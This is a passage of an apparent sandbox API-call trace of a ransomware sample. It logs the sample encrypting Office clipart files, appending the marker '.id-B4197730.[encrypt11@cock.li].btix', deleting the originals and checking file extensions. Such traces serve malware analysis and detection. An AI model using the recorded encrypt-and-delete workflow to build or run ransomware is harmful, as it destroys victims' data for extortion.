Office\\root\\CLIPART\\PUB60COR\\J0105360.WMF.id-B4197730.[encrypt11@cock.li].btix", dwFileAttributes=0x220) returned 1 [0143.137] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105360.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0105360.wmf")) returned 1 [0143.137] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105360.WMF") returned 68 [0143.137] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105360.WMF") returned 68 [0143.137] lstrlenW (lpString=".doc") returned 4 [0143.138] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0143.138] lstrlenW (lpString=".docx") returned 5 [0143.138] lstrcmpiW (lpString1=".docx", lpString2="0.WMF") returned -1 [0143.138] lstrlenW (lpString=".pdf") returned 4 [0143.138] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0143.138] lstrlenW (lpString=".xls") returned 4 [0143.138] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0143.138] lstrlenW (lpString=".xlsx") returned 5 [0143.138] lstrcmpiW (lpString1=".xlsx", lpString2="0.WMF") returned -1 [0143.138] lstrlenW (lpString=".ppt") returned 4 [0143.138] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0143.138] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105360.WMF") returned 68 [0143.138] lstrlenW (lpString=".zip") returned 4 [0143.138] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0143.138] lstrlenW (lpString=".rar") returned 4 [0143.138] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0143.138] lstrlenW (lpString=".bz2") returned 4 [0143.138] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0143.138] lstrlenW (lpString=".7z") returned 3 [0143.138] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0143.138] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105360.WMF") returned 68 [0143.138] lstrlenW (lpString=".dbf") returned 4 [0143.138] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0143.138] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105360.WMF") returned 68 [0143.138] lstrlenW (lpString=".1cd") returned 4 [0143.138] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0143.138] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105360.WMF") returned 68 [0143.138] lstrlenW (lpString=".jpg") returned 4 [0143.138] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0143.139] GetFileSizeEx (in: hFile=0x530, lpFileSize=0x314ff14 | out: lpFileSize=0x314ff14*=12380) returned 1 [0143.139] CloseHandle (hObject=0x530) returned 1 [0143.139] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105368.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0105368.wmf")) returned 0x220 [0143.139] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105368.WMF.id-B4197730.[encrypt11@cock.li].btix" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0105368.wmf.id-b4197730.[encrypt11@cock.li].btix")) returned 0xffffffff [0143.139] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105368.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0105368.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x530 [0143.139] SetFilePointerEx (in: hFile=0x530, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x314fec0 | out: lpNewFilePointer=0x0) returned 1 [0143.140] SetFilePointerEx (in: hFile=0x530, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x314fec0 | out: lpNewFilePointer=0x0) returned 1 [0143.140] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105368.WMF.id-B4197730.[encrypt11@cock.li].btix" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0105368.wmf.id-b4197730.[encrypt11@cock.li].btix"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x564 [0143.140] GetLastError () returned 0x0 [0143.140] ReadFile (in: hFile=0x530, lpBuffer=0x3e7c020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x314fecc, lpOverlapped=0x0 | out: lpBuffer=0x3e7c020*, lpNumberOfBytesRead=0x314fecc*=0x305c, lpOverlapped=0x0) returned 1 [0143.142] WriteFile (in: hFile=0x564, lpBuffer=0x3e7c020*, nNumberOfBytesToWrite=0x3060, lpNumberOfBytesWritten=0x314fc94, lpOverlapped=0x0 | out: lpBuffer=0x3e7c020*, lpNumberOfBytesWritten=0x314fc94*=0x3060, lpOverlapped=0x0) returned 1 [0143.143] ReadFile (in: hFile=0x530, lpBuffer=0x3e7c020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x314fecc, lpOverlapped=0x0 | out: lpBuffer=0x3e7c020*, lpNumberOfBytesRead=0x314fecc*=0x0, lpOverlapped=0x0) returned 1 [0143.143] WriteFile (in: hFile=0x564, lpBuffer=0x3e7c020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x314fc94, lpOverlapped=0x0 | out: lpBuffer=0x3e7c020*, lpNumberOfBytesWritten=0x314fc94*=0xec, lpOverlapped=0x0) returned 1 [0143.143] SetEndOfFile (hFile=0x564) returned 1 [0143.144] CloseHandle (hObject=0x564) returned 1 [0143.144] SetFilePointerEx (in: hFile=0x530, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x314fec0 | out: lpNewFilePointer=0x0) returned 1 [0143.144] SetEndOfFile (hFile=0x530) returned 1 [0143.235] CloseHandle (hObject=0x530) returned 1 [0143.235] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105368.WMF.id-B4197730.[encrypt11@cock.li].btix", dwFileAttributes=0x220) returned 1 [0143.503] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105368.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0105368.wmf")) returned 1 [0143.758] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105368.WMF") returned 68 [0143.758] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105368.WMF") returned 68 [0143.758] lstrlenW (lpString=".doc") returned 4 [0143.758] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0143.758] lstrlenW (lpString=".docx") returned 5 [0143.758] lstrcmpiW (lpString1=".docx", lpString2="8.WMF") returned -1 [0143.758] lstrlenW (lpString=".pdf") returned 4 [0143.758] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0143.758] lstrlenW (lpString=".xls") returned 4 [0143.758] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0143.758] lstrlenW (lpString=".xlsx") returned 5 [0143.759] lstrcmpiW (lpString1=".xlsx", lpString2="8.WMF") returned -1 [0143.759] lstrlenW (lpString=".ppt") returned 4 [0143.759] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0143.759] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105368.WMF") returned 68 [0143.759] lstrlenW (lpString=".zip") returned 4 [0143.759] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0143.759] lstrlenW (lpString=".rar") returned 4 [0143.759] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0143.759] lstrlenW (lpString=".bz2") returned 4 [0143.759] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0143.759] lstrlenW (lpString=".7z") returned 3 [0143.759] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0143.759] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105368.WMF") returned 68 [0143.759] lstrlenW (lpString=".dbf") returned 4 [0143.759] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0143.759] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105368.WMF") returned 68 [0143.759] lstrlenW (lpString=".1cd") returned 4 [0143.759] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0143.759] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105368.WMF") returned 68 [0143.759] lstrlenW (lpString=".jpg") returned 4 [0143.759] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0143.837] GetFileSizeEx (in: hFile=0x55c, lpFileSize=0x314ff14 | out: lpFileSize=0x314ff14*=11012) returned 1 [0143.838] CloseHandle (hObject=0x55c) returned 1 [0143.838] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105396.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0105396.wmf")) returned 0x220 [0143.838] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105396.WMF.id-B4197730.[encrypt11@cock.li].btix" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0105396.wmf.id-b4197730.[encrypt11@cock.li].btix")) returned 0xffffffff [0143.838] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105396.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0105396.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x55c [0143.838] SetFilePointerEx (in: hFile=0x55c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x314fec0 | out: lpNewFilePointer=0x0) returned 1 [0143.838] SetFilePointerEx (in: hFile=0x55c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x314fec0 | out: lpNewFilePointer=0x0) returned 1 [0143.838] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105396.WMF.id-B4197730.[encrypt11@cock.li].btix" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0105396.wmf.id-b4197730.[encrypt11@cock.li].btix"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x568 [0143.839] GetLastError () returned 0x0 [0143.839] ReadFile (in: hFile=0x55c, lpBuffer=0x3e7c020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x314fecc, lpOverlapped=0x0 | out: lpBuffer=0x3e7c020*, lpNumberOfBytesRead=0x314fecc*=0x2b04, lpOverlapped=0x0) returned 1 [0143.864] WriteFile (in: hFile=0x568, lpBuffer=0x3e7c020*, nNumberOfBytesToWrite=0x2b10, lpNumberOfBytesWritten=0x314fc94, lpOverlapped=0x0 | out: lpBuffer=0x3e7c020*, lpNumberOfBytesWritten=0x314fc94*=0x2b10, lpOverlapped=0x0) returned 1 [0143.867] ReadFile (in: hFile=0x55c, lpBuffer=0x3e7c020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x314fecc, lpOverlapped=0x0 | out: lpBuffer=0x3e7c020*, lpNumberOfBytesRead=0x314fecc*=0x0, lpOverlapped=0x0) returned 1 [0143.867] WriteFile (in: hFile=0x568, lpBuffer=0x3e7c020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x314fc94, lpOverlapped=0x0 | out: lpBuffer=0x3e7c020*, lpNumberOfBytesWritten=0x314fc94*=0xec, lpOverlapped=0x0) returned 1 [0143.867] SetEndOfFile (hFile=0x568) returned 1 [0143.880] CloseHandle (hObject=0x568) returned 1 [0143.900] SetFilePointerEx (in: hFile=0x55c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x314fec0 | out: lpNewFilePointer=0x0) returned 1 [0143.900] SetEndOfFile (hFile=0x55c) returned 1 [0143.921] CloseHandle (hObject=0x55c) returned 1 [0143.921] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105396.WMF.id-B4197730.[encrypt11@cock.li].btix", dwFileAttributes=0x220) returned 1 [0143.922] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105396.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0105396.wmf")) returned 1 [0143.922] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105396.WMF") returned 68 [0143.922] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105396.WMF") returned 68 [0143.922] lstrlenW (lpString=".doc") returned 4 [0143.922] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0143.922] lstrlenW (lpString=".docx") returned 5 [0143.922] lstrcmpiW (lpString1=".docx", lpString2="6.WMF") returned -1 [0143.922] lstrlenW (lpString=".pdf") returned 4 [0143.922] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0143.922] lstrlenW (lpString=".xls") returned 4 [0143.922] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0143.923] lstrlenW (lpString=".xlsx") returned 5 [0143.923] lstrcmpiW (lpString1=".xlsx", lpString2="6.WMF") returned -1 [0143.923] lstrlenW (lpString=".ppt") returned 4 [0143.923] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0143.923] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105396.WMF") returned 68 [0143.923] lstrlenW (lpString=".zip") returned 4 [0143.923] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0143.923] lstrlenW (lpString=".rar") returned 4 [0143.923] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0143.923] lstrlenW (lpString=".bz2") returned 4 [0143.923] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0143.923] lstrlenW (lpString=".7z") returned 3 [0143.923] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0143.923] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105396.WMF") returned 68 [0143.923] lstrlenW (lpString=".dbf") returned 4 [0143.923] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0143.923] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105396.WMF") returned 68 [0143.923] lstrlenW (lpString=".1cd") returned 4 [0143.923] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0143.923] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105396.WMF") returned 68 [0143.923] lstrlenW (lpString=".jpg") returned 4 [0143.923] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0143.924] GetFileSizeEx (in: hFile=0x55c, lpFileSize=0x314ff14 | out: lpFileSize=0x314ff14*=9400) returned 1 [0143.924] CloseHandle (hObject=0x55c) returned 1 [0143.925] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105412.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0105412.wmf")) returned 0x220 [0143.925] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105412.WMF.id-B4197730.[encrypt11@cock.li].btix" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0105412.wmf.id-b4197730.[encrypt11@cock.li].btix")) returned 0xffffffff [0143.925] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105412.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0105412.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x55c [0143.926] SetFilePointerEx (in: hFile=0x55c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x314fec0 | out: lpNewFilePointer=0x0) returned 1 [0143.926] SetFilePointerEx (in: hFile=0x55c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x314fec0 | out: lpNewFilePointer=0x0) returned 1 [0143.926] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105412.WMF.id-B4197730.[encrypt11@cock.li].btix" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0105412.wmf.id-b4197730.[encrypt11@cock.li].btix"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x54c [0143.927] GetLastError () returned 0x0 [0143.927] ReadFile (in: hFile=0x55c, lpBuffer=0x3e7c020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x314fecc, lpOverlapped=0x0 | out: lpBuffer=0x3e7c020*, lpNumberOfBytesRead=0x314fecc*=0x24b8, lpOverlapped=0x0) returned 1 [0143.939] WriteFile (in: hFile=0x54c, lpBuffer=0x3e7c020*, nNumberOfBytesToWrite=0x24c0, lpNumberOfBytesWritten=0x314fc94, lpOverlapped=0x0 | out: lpBuffer=0x3e7c020*, lpNumberOfBytesWritten=0x314fc94*=0x24c0, lpOverlapped=0x0) returned 1 [0143.940] ReadFile (in: hFile=0x55c, lpBuffer=0x3e7c020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x314fecc, lpOverlapped=0x0 | out: lpBuffer=0x3e7c020*, lpNumberOfBytesRead=0x314fecc*=0x0, lpOverlapped=0x0) returned 1 [0143.940] WriteFile (in: hFile=0x54c, lpBuffer=0x3e7c020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x314fc94, lpOverlapped=0x0 | out: lpBuffer=0x3e7c020*, lpNumberOfBytesWritten=0x314fc94*=0xec, lpOverlapped=0x0) returned 1 [0143.940] SetEndOfFile (hFile=0x54c) returned 1 [0143.940] CloseHandle (hObject=0x54c) returned 1 [0143.940] SetFilePointerEx (in: hFile=0x55c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x314fec0 | out: lpNewFilePointer=0x0) returned 1 [0143.940] SetEndOfFile (hFile=0x55c) returned 1 [0143.946] CloseHandle (hObject=0x55c) returned 1 [0143.946] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105412.WMF.id-B4197730.[encrypt11@cock.li].btix", dwFileAttributes=0x220) returned 1 [0143.946] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105412.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0105412.wmf")) returned 1 [0143.947] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105412.WMF") returned 68 [0143.947] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105412.WMF") returned 68 [0143.947] lstrlenW (lpString=".doc") returned 4 [0143.947] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0143.947] lstrlenW (lpString=".docx") returned 5 [0143.947] lstrcmpiW (lpString1=".docx", lpString2="2.WMF") returned -1 [0143.947] lstrlenW (lpString=".pdf") returned 4 [0143.947] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0143.947] lstrlenW (lpString=".xls") returned 4 [0143.947] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0143.947] lstrlenW (lpString=".xlsx") returned 5 [0143.947] lstrcmpiW (lpString1=".xlsx", lpString2="2.WMF") returned -1 [0143.947] lstrlenW (lpString=".ppt") returned 4 [0143.947] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0143.947] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105412.WMF") returned 68 [0143.947] lstrlenW (lpString=".zip") returned 4 [0143.947] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0143.947] lstrlenW (lpString=".rar") returned 4 [0143.947] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0143.947] lstrlenW (lpString=".bz2") returned 4 [0143.947] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0143.947] lstrlenW (lpString=".7z") returned 3 [0143.947] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0143.947] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105412.WMF") returned 68 [0143.947] lstrlenW (lpString=".dbf") returned 4 [0143.947] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0143.948] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105412.WMF") returned 68 [0143.948] lstrlenW (lpString=".1cd") returned 4 [0143.948] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0143.948] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105412.WMF") returned 68 [0143.948] lstrlenW (lpString=".jpg") returned 4 [0143.948] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0143.948] GetFileSizeEx (in: hFile=0x55c, lpFileSize=0x314ff14 | out: lpFileSize=0x314ff14*=6244) returned 1 [0143.948] CloseHandle (hObject=0x55c) returned 1 [0143.948] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105414.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0105414.wmf")) returned 0x220 [0143.948] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105414.WMF.id-B4197730.[encrypt11@cock.li].btix" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0105414.wmf.id-b4197730.[encrypt11@cock.li].btix")) returned 0xffffffff [0143.949] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105414.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0105414.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x55c [0143.949] SetFilePointerEx (in: hFile=0x55c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x314fec0 | out: lpNewFilePointer=0x0) returned 1 [0143.949] SetFilePointerEx (in: hFile=0x55c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x314fec0 | out: lpNewFilePointer=0x0) returned 1 [0143.949] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105414.WMF.id-B4197730.[encrypt11@cock.li].btix" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0105414.wmf.id-b4197730.[encrypt11@cock.li].btix"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x38c [0143.949] GetLastError () returned 0x0 [0143.949] ReadFile (in: hFile=0x55c, lpBuffer=0x3e7c020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x314fecc, lpOverlapped=0x0 | out: lpBuffer=0x3e7c020*, lpNumberOfBytesRead=0x314fecc*=0x1864, lpOverlapped=0x0) returned 1 [0143.963] WriteFile (in: hFile=0x38c, lpBuffer=0x3e7c020*, nNumberOfBytesToWrite=0x1870, lpNumberOfBytesWritten=0x314fc94, lpOverlapped=0x0 | out: lpBuffer=0x3e7c020*, lpNumberOfBytesWritten=0x314fc94*=0x1870, lpOverlapped=0x0) returned 1 [0143.964] ReadFile (in: hFile=0x55c, lpBuffer=0x3e7c020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x314fecc, lpOverlapped=0x0 | out: lpBuffer=0x3e7c020*, lpNumberOfBytesRead=0x314fecc*=0x0, lpOverlapped=0x0) returned 1 [0143.964] WriteFile (in: hFile=0x38c, lpBuffer=0x3e7c020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x314fc94, lpOverlapped=0x0 | out: lpBuffer=0x3e7c020*, lpNumberOfBytesWritten=0x314fc94*=0xec, lpOverlapped=0x0) returned 1 [0143.964] SetEndOfFile (hFile=0x38c) returned 1 [0143.964] CloseHandle (hObject=0x38c) returned 1 [0143.964] SetFilePointerEx (in: hFile=0x55c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x314fec0 | out: lpNewFilePointer=0x0) returned 1 [0143.964] SetEndOfFile (hFile=0x55c) returned 1 [0143.967] CloseHandle (hObject=0x55c) returned 1 [0143.967] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105414.WMF.id-B4197730.[encrypt11@cock.li].btix", dwFileAttributes=0x220) returned 1 [0143.968] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105414.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0105414.wmf")) returned 1 [0143.968] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105414.WMF") returned 68 [0143.968] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105414.WMF") returned 68 [0143.968] lstrlenW (lpString=".doc") returned 4 [0143.968] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0143.969] lstrlenW (lpString=".docx") returned 5 [0143.969] lstrcmpiW (lpString1=".docx", lpString2="4.WMF") returned -1 [0143.969] lstrlenW (lpString=".pdf") returned 4 [0143.969] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0143.969] lstrlenW (lpString=".xls") returned 4 [0143.969] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0143.969] lstrlenW (lpString=".xlsx") returned 5 [0143.969] lstrcmpiW (lpString1=".xlsx", lpString2="4.WMF") returned -1 [0143.969] lstrlenW (lpString=".ppt") returned 4 [0143.969] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0143.969] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105414.WMF") returned 68 [0143.969] lstrlenW (lpString=".zip") returned 4 [0143.969] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0143.969] lstrlenW (lpString=".rar") returned 4 [0143.969] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0143.969] lstrlenW (lpString=".bz2") returned 4 [0143.969] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0143.969] lstrlenW (lpString=".7z") returned 3 [0143.969] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0143.969] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105414.WMF") returned 68 [0143.969] lstrlenW (lpString=".dbf") returned 4 [0143.969] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0143.969] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105414.WMF") returned 68 [0143.969] lstrlenW (lpString=".1cd") returned 4 [0143.969] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0143.969] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105414.WMF") returned 68 [0143.969] lstrlenW (lpString=".jpg") returned 4 [0143.969] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0143.971] GetFileSizeEx (in: hFile=0x55c, lpFileSize=0x314ff14 | out: lpFileSize=0x314ff14*=18728) returned 1 [0143.971] CloseHandle (hObject=0x55c) returned 1 [0143.972] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105490.WMF" (normalized: "c:\\program files\\microsoft 